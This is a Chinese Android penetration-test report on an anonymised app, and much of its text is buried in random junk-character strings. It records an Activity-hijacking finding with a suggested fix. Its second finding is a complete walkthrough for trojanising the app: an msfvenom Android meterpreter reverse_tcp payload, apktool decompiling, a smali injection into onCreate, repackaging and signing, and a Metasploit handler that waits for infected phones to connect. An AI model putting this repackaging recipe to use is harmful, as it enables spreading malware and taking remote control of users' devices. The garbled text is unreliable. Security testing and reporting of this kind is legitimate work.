原创-app客户端渗透测试报告之反编译捆绑msf马二次打包以及active劫持漏洞

admin

! g5 Z. F8 |0 T% J

. v# T+ E# y+ {5 k: t$ J
, M' b& _8 x- H5 \

& i* f4 Z) k1 x4 |1 Z1 W

& G- y4 D. z* d" Z) j

文档编号：                8 ~7 M/ @. f. I; |. B5 a5 h 2 s. e. l" T1 Q5 P7 U

0 Q; A2 p( [. `, _- T$ d 6 i; z) A9 h: q: m4 W

1 R7 ?7 k7 B4 d* U( n+ k6 v  

* Y3 \# n" F/ Q% v1 w$ E 9 s R/ X. g; Y3 o+ O

$ c! {" u5 l( Z% M( y: } O   7 x# X' @, u: O% ~* \' S 3 P9 f- v( T7 A

; ~8 N( Y$ a3 K* R7 C

6 f* H9 _- C/ J% R  

. Z& C8 w7 C, K. E6 P   ( r# o* b! B* ]; s1 m* c7 H

7 h; [6 E' g# l" ?" b

' c. @2 z3 O/ ]( x8 j0 j! P; t   ! R" r3 u6 U1 Y% Q1 v; F

/ y/ t3 m2 s( O. _0 B 8 Z: Z1 d5 x$ n" e6 h

( Z& b/ c5 F G! e 某某某APP渗透测试 5 ~* Q( o! J% ^% ] $ `5 U! J: P6 t* x

# Y6 x1 Y- u0 S @& J7 B" c" g

2 `+ t9 ]' n/ S h+ f   7 {% [+ b, M7 h5 t! R4 S ) J& t0 B0 H+ Q$ B

3 i, {- r6 e, } g" \ 4 B: b& x9 S* }$ P; t$ y

 

$ A4 k5 t, V& I3 {

3 E) n( J3 q1 t) l# _   # H0 j( G8 X0 k. A8 i, | ; `: c. C1 J0 q# Q( _

( b0 f0 _- l+ I" q 0 W' A5 E- Z! p+ W5 r

; W# U6 [7 ]. Z2 O 0 i% `3 D( L7 L9 T) f8 G+ E   : \/ B& k9 S+ ` 1 i) P$ s6 K ~' |, f# S

1 Y6 b) C; `. }; H. y2 c

6 ~/ q; i0 K& A. `. h: e7 g! ` % G) \0 g1 z# u5 }# s7 r9 T 技 术 报 告 % I- h! b9 D$ q( O 8 G+ {3 t% m% S* ]7 X

 

0 i( ] G5 ]: p4 B& n/ |1 m

3 Y: G7 }3 E6 x4 D. x& P4 R: p4 F   ( b, g: M% X$ {6 c7 @' C) G

- }6 g) [( c! s

8 E R* P% c7 w5 f 9 d2 F5 ?9 r. n  

2 N5 `/ s! }5 H3 g" i8 _

?; N" m: r1 o' n' T* Z   ( u7 r7 W% l2 }. y; C 0 x( p8 e' H- @9 ^

& N. X4 T( ` d# ~' O% r1 S   ) d8 C- L: Z2 }; H3 L " j2 _0 V$ m" p; G

  ; n3 }7 q' \. M$ ~& U; t5 r4 T & h; u# N3 T! U( G- F; D$ u

3 M7 W& B" c* t9 t

8 F+ N& i2 E! x+ [2 l) f   # V3 _) g! I; Q0 N$ a K5 A! o/ }$ w 2 K# b( I6 l( R4 Q

4 J: y" {2 u; f2 V. [$ ]% h / n2 f# h# \) m4 ^0 X. \1 m

: Y2 }2 G* {9 W x   : o9 b t/ ^0 q4 q$ k% L; b

! b3 M4 H6 N( Q' J$ t q4 J

- O' L/ g0 [5 S! O5 i Z2 `8 ?) H1 V   5 y( J1 \! N# j- X" g' t# N ; H+ f& h' E# K: H. [

& S! i5 c1 |1 z2 H: E8 Y ! O" L3 g9 F. i) G w# c

  ) f- E7 |! n2 y! l. D/ v: |4 V

6 h" s, G: r% P& t/ @9 I% M

( X) P9 Y K S* A, W- {* Q   + v& i0 N0 e* y7 K* V l' f

1 Z3 p; S# f: p4 `, |( g: L, G

 

4 g" v0 n( W$ \) P; m. [" o7 V3 A# [

/ X1 }5 n5 }: s# N( [% J1 x # _: X0 S0 T4 B" P1 w- v5 h( j   / C- q. E2 `7 @0 N S/ M

) G+ {& z8 S$ G. @% i' B8 R% k, x2 [

* L: P- I" z4 e% ]   - A& G; J! c/ E, m: G" I # S* u% t' N2 f% a6 t& [

' ~2 W* |; E* c% c' ?

! W/ @& B* _) [3 \2 W m1 J  

3 n1 H3 p2 V5 ~9 o# r, [

# x# p9 @. X- O: {& ~: Z4 }' B   2 A5 O& |/ v" r1 p+ S ! ?9 w4 z% Q- B4 ~0 f7 ^7 d( f

$ o( b; x% K; T, E2 t) Q   % Y7 V5 C' v' t4 H9 S; t- t% J! K

4 U& L- u3 C* C1 ^5 z3 y6 o/ x) s  

" y; [- n3 g2 Z5 _. Q: k. K+ w

' s: F) J: I1 A X& W/ d$ W # \0 x: o0 ?8 M/ ]6 T 二〇二〇年

3 f2 R+ D! z; K. |$ r2 I9 R

5 W4 L7 S* \. d# N+ n: u 0 |4 H5 g4 ?$ B: x3 x6 c' H
$ i) f/ ]1 u" R8 P z! l 0 L$ A% H& M5 i) H 5 H$ n! h) n+ s: O+ v4 ^

5 W5 I8 l' j; E5 c9 _8 r* |, m0 Z 6 Z, f+ [" H9 V9 k) V. E

, q! }) V# c5 g
* A# N8 o3 t5 r8 n 3 D) [0 [5 W3 F: t3 |) g! ?

) T1 I$ h: I: O6 s4 W$ w, X 5 ]9 z, M8 G- t+ N- s2 ?& _

目 录 1 p7 _# v* b( m6 p

4 r/ G9 E6 V* b9 q. @* Y" U 1 t( x6 f9 t0 A8 S 4 l! N% \6 A9 K/ d! f; ~3 g6 D ( a1 g; S( F7 d- x# r4 W

3 c8 s8 \' y8 f/ C0 X6 v, s8 l ' w) V9 m, s: G+ D  

9 p Q: i1 t* g" i _8 [: [ ' d2 m6 Q( x9 k- u* Y s 1 概述... 3 8 f/ p$ a$ f( r 2 X0 @/ m- c" S

: w* k9 p- f9 ~( B- g8 y

1.2测试时间... 3 , s. J: l4 W1 d8 ~ 8 m4 f- e; V6 u# w7 Z2 E. U

9 Y* l/ `$ v8 i/ r% B5 C

1.3测试对象... 3

8 a' m, c2 l* P7 i2 x 1.4测试结果... 3 5 n7 l$ f9 |- d6 d( q* L. B

% k8 i2 g: x1 i2 E; b3 q: d( _ 5 m- ~; e5 b0 z& I

2 J" ]4 r' \. ], [ 2 检测结果... 4 + d' `) }. ], l& d

. d4 `, p, r) q* k$ Q* N* R8 U ) Y% d+ ]- C8 P" J4 S+ T

: m0 E: _' |6 M" h2 f, Q6 a7 v7 H4 \ & p a" f1 u- A( y( } 2.1 某某某... 4 ) H* k* Z% B$ f 8 q; H& c) b( c5 @: a* B

1 n4 j; s& T6 K6 Y

( b5 \) o. m: u7 f 2.1.1检测目标... 4 ; @5 z* J6 D: O+ T) S5 T + [+ k! g+ l, b& a6 N- e( i

& d+ L. e8 ^& X- O3 s* Y' f

) c" ^$ q6 {* i, a" Y$ n 8 j5 ~: C* T; z [! ?$ A 2.1.2检测结果... 4 ' A: v$ F9 f h. ?, H: R

4 N& j- ?9 c4 i0 b& Q" N

6 h! [* _% ?; U9 @# Q+ D- s 2.1.2.1. 4 $ H3 R" C% I! \

2.1.2.2. 6 , S0 N7 U. }$ A( O' V9 |" U: g3 Y

6 ?# K$ O- I' k2 w

$ X- n3 T/ \8 g- | z2 w$ K $ B: b" b/ d$ H: m1 Q& p. _ Z# w

4 x( T5 X! u: R6 ] b! l 5 I( E# ?" A, f
# U3 ~7 Z& t& R1 ?$ D( f( e% L $ E$ f% P; g5 V' P; n* | ! C0 L% V1 X3 N% y2 E

! u: [# \* C5 U/ p! L 3 |5 v( [( s( F1 o 1 概述 1 T% b$ N3 }. j5 @

7 a9 N- H9 C U6 Z$ y7 u2 {8 O, H

) ~8 J+ w/ k1 B& K) [( |# ? 1.2测试时间 - @7 c4 W9 W8 E : W1 f! F$ F7 V

! e0 d# m( a- |) _9 I5 e8 z; }7 Y0 d 6 r0 n+ V& V0 b/ k- T) }( y' s7 U5 S: r5 ~0 S. E5 H1 d3 H; H. p' t! [' l, d* u! w2 J; \/ h2 k k7 i1 }9 _: D) F( W; x2 {, C- L' n! P0 d! n B9 }8 B4 w1 W' k7 V2 N0 U$ ?$ O- T6 z8 w( _4 g. j5 A: f& w, B+ q9 t b, Q

7 a5 C" b, \0 a% [0 ]+ a " F6 \ F" | `% R # X$ Y7 A3 _) d) T4 @+ ] T% Q 渗透测试时间 % ~9 d, B! ]6 S9 b; z ) v' q' s! Y( u/ x } 6 [2 C) C/ w0 ` U % H4 }9 P. H! o1 ?
. R* R3 ]- @" ], i! A6 C; K+ F 5 v# p) q" C4 N0 `5 ^0 ^$ w$ I4 | 2 S* \: l8 g# D2 w8 Q7 e 2 S1 K- z2 c; \5 t: I$ `& J 起始时间 8 f: ~( H+ u* K" w; n 7 C5 k& x" l8 j8 Z( v	9 N) B( h" S1 v' X. A. h # o/ O C3 ?; @+ N 2020年4月6日 5 X& k( I6 t8 ~ " Z x- a, Z( {) v z6 W# Q$ w8 D/ G
( J* h* u$ h' L7 G. U( ^' y 结束时间 4 m' s7 T' Y1 v( s 8 R& o: X- Z7 t1 |, c% d' v	5 y, }8 i" u0 Z2 b0 h! ?. Q 9 ]6 R. f: ?+ e" w 2020年4月9日 1 G: l; O# i7 N7 P& f6 E0 n& w # n; ]: O' E: {9 H( m3 e5 l & D/ C" i: Z# @- j6 l5 q" C/ w

U8 \ {' [! O4 F

. d0 J. r' M' R* J( k. A 1.3测试对象 ) \. j3 V8 X( A; A# a

; t* N7 A$ B; P8 t, U. f 此次测试目标为某某某安卓APP进行渗透性测试，APP存在安全漏洞数量如下表所示：

表1-1 检测对象 $ ^+ g7 B3 D" k8 F% l2 p: @) W

" r% T0 F7 s- z 9 w: _% K) G8 \! @2 b. p3 W5 M Y! i: S* f. |0 ?0 U3 @% t# ] M' A9 U1 h; u, B z: }2 Y; A! L# h& d; y7 F) a' _! v7 A6 C+ t' w L6 ~' k/ g' Z/ _1 S: s- I6 Q. l- I% D1 P; F9 d: u* x O: t4 O$ C( w. p2 v+ x6 Y: d! M, |' m- u, d7 s$ G: g( y/ c. R/ G1 N. z, U. R [! {5 N+ k! d3 f; K# { ^ L) E2 m% k2 l7 y4 F1 e1 J. D" G' l) w+ Q, e3 ]) B) s+ Z: R {& I" Q F' j4 {

" x! S5 ^, k% q( O ; ]# }: E7 E$ `3 ~. J 序号 $ `4 H+ E `+ X+ w, H / _9 X. P/ i" w( J0 |	; B# b' U6 j0 \, A T4 I+ K/ s1 ]( v3 ]; n. u, ~ 测试对象 3 `1 G3 p! }; l. Z3 ?0 s1 W " o0 V9 {9 |7 ]' g- x	; W+ _- [3 ], |7 f( u - z9 q% Z" N! D) Y+ B1 L 3 ]5 F# ~! n. m7 f j 测试地址 2 U& V) E9 P4 H3 f# ]# z8 P4 P	) l3 ~: g( u! ^ ; r8 ] x- ~, Y8 f# `2 k 安全漏洞 6 K5 Z5 J! y. ?0 K) C5 V5 m6 S5 ? " S& g# S/ j9 `
) L8 n5 k" L2 { K8 ]" ^; P % P5 B2 N1 q- S, w 1 - T" l# X# W" h3 K x4 W : Q% d" p8 g, M5 D9 h2 N) I, e 6 ~! g4 \/ B0 w! M. p* @	) s& f) c o7 D4 y0 A 8 r, ^( B3 ]& g6 h& a 某某某安卓APP ! r8 }. i W7 r: g( q& @	' Y/ t$ o3 P2 C7 o/ p * I) N9 m( q* R9 i R8 S- _ 8 g# A# f, \4 T( B+ O5 u   1 _! f! |+ } j 5 J7 t' Z+ z3 C4 r1 l' ]8 r7 `6 ] " k/ d/ l- n$ \. P" X X	S+ H* u1 w, w: [ # S4 e7 k; F& D# E3 v - I6 B2 O+ @% S$ ]7 X+ G: V' x 2 , F2 x: G. w2 P; @; U! ` ( G8 b9 D$ s* ~8 K0 i& I

: c) u1 r( Q( I3 ~- n0 A" ?$ t, V

; K9 a6 P' x: ?2 S) a6 k; G& U7 H 1.4测试结果 0 |2 r5 A: f, {# g

2 y$ t+ E. a+ h) w! x

# I' T& P* O4 } 在本次对某某某APP透测试中发现，APP安全防护存在一定问题，主要问题如下所示： # ~+ e t f5 E- _; v8 I ( W4 c: a; ~9 u+ _0 C/ _" ]: f

) p- o" V) k* z4 e3 n0 k

0 s7 U4 G) N9 P4 P- A3 D   ! Y& A/ L6 J. r# Q ) N- o' g. h; v! U( G5 f

. D; B: f. X( x0 O 3 T) v' M8 j& \5 R! Y- a& Q0 }

& U! A( ~2 Y9 J. s( ^" O* G& Z) Q4 L' v3 I0 b% I5 Z8 ~2 X0 I: A2 W' O! O6 G1 C. ^. L& t& {, ^6 |' q$ o+ V' v# M) p I& Y, v7 c) v1 c; C, h, Y" \# a4 W) m E# s# [. d) ?5 k/ q6 T" A( i3 Y' ?; f# Z/ D- n8 p3 B( k9 e& y, X: Y( K+ L: N2 _ `" ?* y" v% y) ^! K2 ~( R* f0 E2 `! f& j% E ]8 h) L. y& _9 \' Z; m1 q( j Q8 C% z& c9 Z; h5 P4 S( K" e+ Z7 l2 L4 a6 p0 b, L- {- P5 q2 r! U z+ p5 u/ E1 A" i" _% ~4 s! r7 i _( O% s$ z! m0 q7 w. j. U% d* V5 ]4 `3 u; e# l) b, e- K" y( `$ s" u4 \; `8 m: G) B' n1 E4 V1 g8 B% p$ j* g, N) Q2 F X' p7 m! U6 A2 a5 ?

0 ?9 r6 v/ d; r( i6 x( E7 m! { ! ]; O# t% S0 X( ^- [" w- @1 E 序号 E* v5 |* e! V9 c$ Z	: Z3 | C7 h( w ) ?8 V& I8 {$ B3 D 7 Y: v# i: ?3 m7 d) D: d. I 系统名称 6 u8 ~0 [6 D" e2 M) \" ] ; V6 h. F) ^9 N	4 J1 S: h$ r: z l2 z. @7 h4 l % S! k1 G* L0 @6 @4 @ , d% t! e2 r* H: ^- j ^4 T- h$ Q 漏洞名称 / [' L+ d" x9 n6 s5 d. ~) c* C& N) @1 W 9 p3 E3 \- W, l& w$ _3 B; a 5 T) n; Q: s9 w# J7 d	4 Q% X) R. Y5 b! K; q. z# U+ Z2 |# R 漏洞危害 ( ^# _. I6 X L; p; `2 F % [# N- i N- D. Z: G" j+ \+ Z' v ) w$ u) ^5 I5 `3 s' h$ W / X+ O! B: t9 q7 M6 e1 `	; {( x: Y- M# q+ M2 X3 T% D! v ) T- o/ d/ [2 `0 h- G R 9 _ L8 z6 E* Z- v2 D1 |, j 修复结果 $ V6 z; ~, l9 q7 C6 P1 J; m2 s 1 `/ Y3 ]8 \* `+ L G7 C : p! G7 c3 n8 k* P: W
q4 f- ], [ |8 a" G 1 4 i% h8 W4 Z5 V) i, g( ^	1 Y* F) c v) O0 J& b : p0 N, o9 ?: t8 P! e 某某某某某某APP - y. f- y; k5 s	1 L% V; w A1 L( ~: b8 u 4 p/ @- m, p+ r* \, @ 2 R+ R' ^3 l! O; W; F( O) s Activity 劫持 7 x' v& Q3 W# s& q9 S % \, |4 A) x Z1 x$ m 8 }/ | m+ S" Y$ p) C1 C P* e$ c2 v0 @+ K3 ~; k   ) e& S# U2 m" c, p! Y+ Q ! d/ ?; }1 g% A! S	7 X; U. E) A/ X5 l' M. Q6 r 9 C t" l! j) l( z 高	, R, P7 c8 r9 m z ( `, @8 O1 b/ x& g 1 A& N3 n* I4 H. w9 B+ {9 ^   / `9 x& z) Z' [9 N! W4 U, S . M! Z" w+ \% t# \, T, A2 ^7 f9 r
# k" f+ K6 S5 f3 l3 o4 x q& U; h0 a & y8 o+ W0 Y+ K5 X/ W0 ^9 M i 7 j0 R6 T, f) T. [. ?4 B* |) M 2 5 B" N( r/ H F* U" U$ I 4 f8 s, t- O$ r: [# _ {5 @	' k$ g- ]& O M, Z; b) g$ B0 U 7 O( `# l7 o8 J/ B1 Q } 8 ^4 |2 I% N$ C& i. R9 A1 T. e 9 t( K/ D5 l: J2 P6 p 某某某某某某APP 3 Y% ?% {0 H5 k+ v+ s $ H( }% K$ J! U( d0 q	2 P( P' \! P7 z! l 7 h* J3 k$ r1 j, W0 L # d- F, z ~) |6 T/ H p2 U ! e5 h/ ]6 e6 m. @" @( e8 L 反编译二次打包捆绑木马、篡改APP代码 7 r0 b, T* P% _" I V ; q0 ?: @) s6 \; p+ X + `+ f+ w4 k/ H$ T I/ X	2 c) M5 E5 n" t" C2 D" }3 ` 高 . H$ t! V6 G- Q" C	% o( r0 Z! X9 H" Y+ z, Z( r ; r: I7 ~7 {" W! {- d* H& g+ Q 8 f) \/ @9 ?7 z) {3 i: g$ n4 D" S1 q# m   & s( J- ~* M6 J: P; e. K' ` . n4 r+ z" P g- \

0 f0 q* O. V" ~3 l

p* i, I" Z8 n8 L( {7 N2 f r3 c

0 y p9 |) A2 n0 V- J4 n4 C   ! Z; ~& c# z( D" F+ `4 ?- f, q

" `/ x5 i& K. h- s2 G* O6 ^

表1-2 测试结果 }. }$ y. n" S ~5 S0 H

6 V v9 V- t. }% C6 N$ d! _ # Y4 a" c8 u K9 @! n

9 A h: g- r* G% f4 u, V* a8 k 2 |& _5 x& s/ w \7 v9 v   # B Q; A, R2 O9 R8 d0 |$ L 1 v, X) j* w- x3 D! e; w0 I

( {# E6 s4 j% `# R

2 检测结果                    7 [" H9 h9 h) x+ m: [* D 7 O D! D2 _# T

4 Q# \; p6 \8 \ 2.1 某某某 / t: w) D B) j& @2 c9 d

; h: J5 y5 Q! _, A0 \ 2.1.1检测目标 " v- Q5 ], |& Q/ }; C+ u2 C

$ t6 `) h2 N/ y ?

# F% _" B4 F6 r0 n3 i% F 1 x2 X- _5 l z8 b2 W, p# h 目标地址： 某某某某某某APP }8 |' j# q7 S

! N. K6 w Q$ Q9 c6 M 6 p/ {1 ~2 S4 ]$ o4 [6 w0 G

2.1.2检测结果

" ^' {3 t3 F# \ 2.1.2.1 , _% Q; ]/ F- \7 T) l

4 b+ K9 W& V+ ~/ F' W, Y

" V; v! K$ ~2 y/ r( z2 c0 U 漏洞链接地址：某某某某某某APP + B ~% S: S: c" w5 \+ m 7 R9 J0 w! N. g7 j' h

9 m0 ^# G3 c) b: s, n# `" t % ]! U, G- F& ?% C0 i) N/ f& ]- X

  " y# l9 [. a. _- N$ o' d( \

$ v; j1 ~% E2 ^) G: W7 o8 S; ^

; _/ S3 r7 n5 L; u; L 漏洞分析及取证： ' h8 |( L5 J" o- r+ s2 Z$ F& Z1 C

7 N% G9 E1 d1 u

# ?, x" N5 A2 n% d0 t/ t                  通过androidkiiler反编译，发现app未进行安全加固， Activity 为com.minivision.cmcc.activity.SubActivity可被劫持，复现漏洞如图： 8 J z, w% P5 A" s& t4 m' ^$ M " F8 ^: Q7 E" ^" [& T

; _9 G8 T. K! l& G+ W7 F6 D1 _

     2 Y, P! C9 Z3 c9 I, k. B) G! t" t( e

% f& o0 k$ f/ I/ r # @7 D; X& a4 m# h$ ~                       # n7 [2 s& ?& `2 W

! s4 R; S1 h) Y8 P , V3 \( ]9 Q1 H5 P; h [8 e8 I! t+ N ! o6 A; K& f- ~3 \9 F# _0 ]+ G

1 y( |5 b; y6 h 9 q$ {0 m, k4 S. w

! s4 s! B3 L9 d M & n7 _' S- C) c4 E% Z1 f( H

3 o5 u( q3 l2 j h: [: K: @3 R# @- Z 0 u1 C9 C7 w: I: i# e; q. N3 ~

+ ?6 ^5 s3 ~& u: i ( X% r: y- }7 C' k0 D' w 4 U' _ s U) o! I. `( t

2 N2 L, U1 E- ~8 E- G' v# @( b" B$ L

2 q+ m9 R; V& a+ p8 E 漏洞危害：高 2 }& i* Q/ B5 {. Z

: ~' l, L9 d; L' k5 ~; @' \2 p: h ?! s# v& c- E3 t6 \2 |' v9 O, Y1 L$ T9 }/ ?7 U. F9 x1 [3 O& \$ _2 x) M- `& h; t7 | J8 A9 L% V" B1 T3 ?3 Y( _1 j& o1 I0 f* W; O" `; G1 [, Q, A! ^. Q4 Y

& Q/ r1 N- @/ e9 O# | 严重程度	* m0 R- R* I8 w; m. ^1 ?: D ( }& W( b5 h$ | A6 i! U. L 高 . `4 {9 n }( I$ {2 O& s+ b8 w 0 |, ]: m! T! Z6 \ s) O 8 x4 g) N% T( F1 X# p	# |$ E: F" _' @* k. E X( g ■ & I. |# j B3 _/ C0 d% W ) s/ Y! L' S( G/ f- f/ r * u2 P2 m% g3 B' P" m2 t# T	5 h4 G) n8 f& f8 o I2 K ' `( Z1 P) w1 y% A [4 K; ?% m 中 % ~" N6 ], c% M2 V6 @ ( D" ]0 K& g2 w: t	6 U' `- l$ L# n9 y* y* F0 D. E - i/ y, a% N' }/ i# k   ' d- L1 h: ~5 m 4 y; E- C$ U' g4 W# m$ D' V5 n% }	低 % D' L# h9 h$ y4 h' o8 ~/ E 9 }9 ?0 h6 g/ J; V) S0 I0 ~6 h" m	% @* R* \5 U& T& ?/ l" o) D . s8 F5 k. C5 W# [' B) ]* H

0 x5 ^; \2 y( m+ |8 q

0 T4 l! M8 @5 r, `. e3 M

f7 Q1 q! e/ d $ J+ Z0 r4 W/ v) t6 @   - i! P6 @; Y. m; Y+ I & b( v8 h3 t3 _3 X

* I5 F0 g$ O0 Z7 b9 T5 m2 v6 ]

修复方法：在 APP 的 Activity 界面（也就是 MainActivity）中重写 onKeyDown 方法和 onPause 方法，当其被覆盖时，就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的（触摸返回键或 HOME 键），如果是用户自己触发的则无需弹出警示，否则弹出警示信息。 2 J% p% ?) @- O+ q

, Q* C R$ X; P) u- }3 C8 z1 V

* U- `2 @6 a9 I! R3 p          

1 k8 S y# n; q# j

7 F3 n/ ?6 H( A; \   6 F& Q) j# f2 U6 z* M U# w

/ o$ J4 G& w% R5 @ d' o8 \

1 E1 Z5 v* S9 O2 Q5 h, ` 2.1.2.2 ) D' g' }& J# Y, J/ D4 X8 M

; b% f# e7 i$ g4 H+ p

' R9 G5 _. @/ \ 7 Q9 G4 |8 B7 Z7 }; n7 T 漏洞链接地址：某某某某某某APP

; k, x$ S" Q+ Y% ^( ~, k8 {: o- N' ^ , p6 O3 P# r9 S& E0 d/ B0 k

漏洞分析及取证： ' Z% u7 R0 w8 H6 p4 V . K3 [( D. E% K% O2 t

* F# {/ Y& l( H: h2 U' k4 M3 o/ X & X# D! y0 F: N! N7 y% y                  通过反编译，发现程序未加壳加密，可直接反编译获取源码，经过测试可修改app代码捆绑木马或者植入广告等操作，复现详细方法如下： : W6 d( ^+ \& Z+ E

5 q" T" C3 g' H% a0 D" _" R

用Metasploit 生成木马 apk & K6 j! y# Q5 B: F* @

0 O( l. o3 \+ R' [% }1 F msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk

1 i3 y+ ^! j: X! s) T% a h% k1 M0 ^ 3 ^2 B/ L8 N% J" j2 u, y

9 ~, i2 L/ |3 |5 P9 o1 [/ N 反编译目标apk和木马apk $ V4 \5 _$ s3 u4 a$ T

0 O( C, {- |) C' l2 r 0 j, N; H. I# l8 {5 v* _

8 P; G+ Y5 w, Y5 { 4 u6 d( Z$ O* L' x apktool d target.apk
5 V& {& j* s5 F6 E8 t. R( }' I7 [ apktool d cockhorse.apk 5 h0 h3 @! w R5 \# g9 ~& ^2 q: r

; y) { `; Z" g6 L9 N, T+ f0 `- E; c 6 a8 g" \, x& I! I1 f9 r. b

Z- S- L1 y8 L" E/ a3 h4 _ 木马 apk 注入目标 apk

5 X; c' E7 y4 S2 t7 U$ V ! c; F4 G6 p# ^6 B7 g* L

( J! `1 Q# [2 g/ N( k + R; P& V7 m1 M) d, _2 L" N 在目标 apk 反编译生成的文件中找到启动 Activity 的 smali 文件，并在 onCreate()方法中添加如下代码：
1 s0 x" e! s) k invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V 6 |# G1 w j I1 D6 X( f% Q

% n+ c! m1 @( U9 d

3 D. p- x5 @1 `& m7 {. h 将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中，去除重复 7 s; b- h2 i: A- n

将木马文件的 smali 文件放到目标文件下，例如 com/metasploit 文件复制到目标文件 com/ 下

0 ]: F. P ?, ]

9 r9 z5 F" @, f. q. V* @ 回编译生成最终 apk 1 n( |+ D" k5 t/ {& \

; Z* X4 H3 G$ T4 g6 @ 9 A$ g2 K! v* X$ y ?* C

重新打包 " l1 Y1 B: a. | V0 \6 p + T g* D3 K5 d+ l6 {0 ^

) f* n0 q$ e# u* U& m' p' j9 ]

apktool b -o repackage.apk target_app_floder

: ?+ g; ^! z0 F5 D* ?+ ~5 y

g3 ^2 H) Z* ?3 p U* Z7 ~ 创建签名文件，有的话可忽略此步骤

; u7 B( G5 n4 B8 N. `- b [+ Z2 |, i% b5 H3 a

, H# y* v- U5 e keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000                3 n; |; k: m" ]7 N+ {) {

$ I- i9 N' i4 ?9 ? 签名，以下任选其一 . @" R7 j: h5 C9 \! L6 ] ! ~/ `# A6 |7 x1 M/ C7 ^! i

: {# F2 p8 h& @' D* i: \

jarsigner 方式 : j& f8 N5 q: ]3 p " K: h& n4 w& M& I# Q

. R A7 x! }* c6 n* Z" G jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname

0 u1 y1 F5 T0 i$ |

apksigner 方式

; h4 b; g; X, W! X% k

. {( y9 o. S" y" \ R apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk " ?* b8 v; ~& b! Z + G$ d x; H5 H( o' J

+ w8 h9 i3 r, `* a6 V& x% `: }, w- A % e# C; e0 r: ~9 X" M8 e. |

如需要禁用 v2签名 添加选项--v2-signing-enabled false

/ n: p: i" x% _2 J, B

% R0 _* D( @8 `+ S$ [ 8 Y' h+ H7 @) b5 \3 z( D 验证，以下任选其一

# I: J7 B& s5 L" z( [ B ' O. } u! M( l. j# l jarsigner方式 + S& B9 c) m3 e! L ) m8 j' P7 n# B2 I; Y2 l7 e

7 a4 D; o8 H" J! A

7 |$ V/ K: Q X" ~1 _ ) j* J4 N7 a. I# G, f jarsigner -verify repackaged.apk * c ?; @& A2 n! ~( \

$ u3 _5 m. R, c3 b6 Q apksigner 方式

) S1 z y* @- n- L 0 e/ w2 i; P, Z. k0 B+ y0 O& ` apksigner verify -v --print-certs repackaged.apk

keytool方式 # R" M- ?# h' \5 L. Y " t, i4 u2 g1 B; @& A

keytool -printcert -jarfile repackaged.apk # L: s$ q3 x0 {8 d H( [

" ?6 `& e0 G; c9 ~7 _

对齐 , a3 f4 m) r Y/ E* t" p

" M' l; N l6 ?( n' g ( q6 ^) [0 d% J

字节对齐优化 $ w( o% k; L# N/ P 9 z, y7 b4 e/ L7 j, i

9 j. |5 B) D, D I2 l" @5 o

. i$ E: _7 l! i zipalign -v 4 repackaged.apk final.apk . d1 U' a+ }) s: O ?# N: @' C7 ^7 [

4 \3 c$ `5 Y5 }: M6 i) P

7 O$ i. l# g# ] ' S" K4 j) B( i 检查是否对齐 % b; h! Y! K# I5 c1 V7 c 1 W5 x& e4 N4 s3 d% b

- u; u0 f, j$ y. I

, \- H7 J% p' }$ {* N zipalign -c -v 4 final.apk

9 C& `7 [( u8 A ?

7 b4 ^" g. ] p5 { k$ _8 ] 9 m2 D; ~+ c0 U" X; _$ U 注：zipalign可以在V1签名后执行，但zipalign不能在V2签名后执行,只能在V2签名之前执行 % {+ A: l8 J$ n( y + e! R2 ~) X5 ?/ K8 ^/ {

! z" j* y% C7 B& |1 K; d8 K

启动Metasploit控制台，配置参数等待上线 * Z6 [" N3 G, T9 |- w o . B w) v3 k! S$ N0 }* U

) ]9 y; e a" g8 E ) K3 E O1 l; D: r5 M; v7 F

2 ]8 L6 `3 A, U4 \ , K% }( E2 C& K# K. { 在终端依次输入如下命令 % R6 I) y; X) p$ M& S" t9 [9 J ' T) t# c! C) c

4 H/ b q" z8 } r) h1 ^ msfconsole ' n9 n! E5 Y+ Z) D

/ h/ N9 Q; a; w# m0 C9 @2 K

$ ^- ?& Y# n) ]+ Y4 C2 r4 t5 f use exploit/multi/handler 0 q, f7 P# K9 R# u, g1 o. \

" _, \/ B& X' Z; S/ C. O# h) n9 T

. r! [7 L6 E8 m; t& i% f! E/ j set PAYLOAD android/meterpreter/reverse_tcp

2 E# K# Z& N' W

0 D: O( M; Z$ b& S: m& ~3 t; l 3 c O5 h% S9 T set LHOST 192.xxx.xx.xx

& P& S t3 ^8 G

* @, N+ k# ?* g- j0 u3 o set LPORT 4444 9 z! q6 E+ o$ y: ]. j8 z # s$ X6 b$ d2 Z! a" [

6 u! [2 `' i6 R; t

+ K0 ]4 O! k, @% N3 @- g exploit 7 r. V3 `8 L v' ?6 | 0 z, T0 |( I8 v: ?: v

" i: q" n; H, G6 @6 X d, X- ]# ^& G- x) ~# _4 c

5 j' I1 c6 S# j9 j/ g4 O. }; u 之前我们把入口放在 MainActivity 的 onCreate 方法中，当启动目标应用进入该界面，就会连接成功，如下图：               * ]% P2 n3 m# j

( z: o) b# q1 I- M6 k5 a 漏洞危害：中 5 X* r5 T- y% p3 D% a. Q- D, R' N0 v

6 H( ^6 g4 s( @# P# p- w" c " B( I2 k3 ~# W( g- @# H) r1 O/ ?- Q8 I- [' U+ I: t1 C f! v0 k& [! s0 _2 m# x# j8 @/ d) _8 J+ z& r E5 S+ {, e# l) T9 j% t3 R4 L& F: J# L2 v' Q- q5 h' ?0 A. K+ L. ]0 X8 U2 w# \; M+ r! O8 Q) d+ i/ S" {1 Z0 f( F. q1 U0 g3 Z; h2 k9 x: x1 s( s8 S4 h- q* v( @

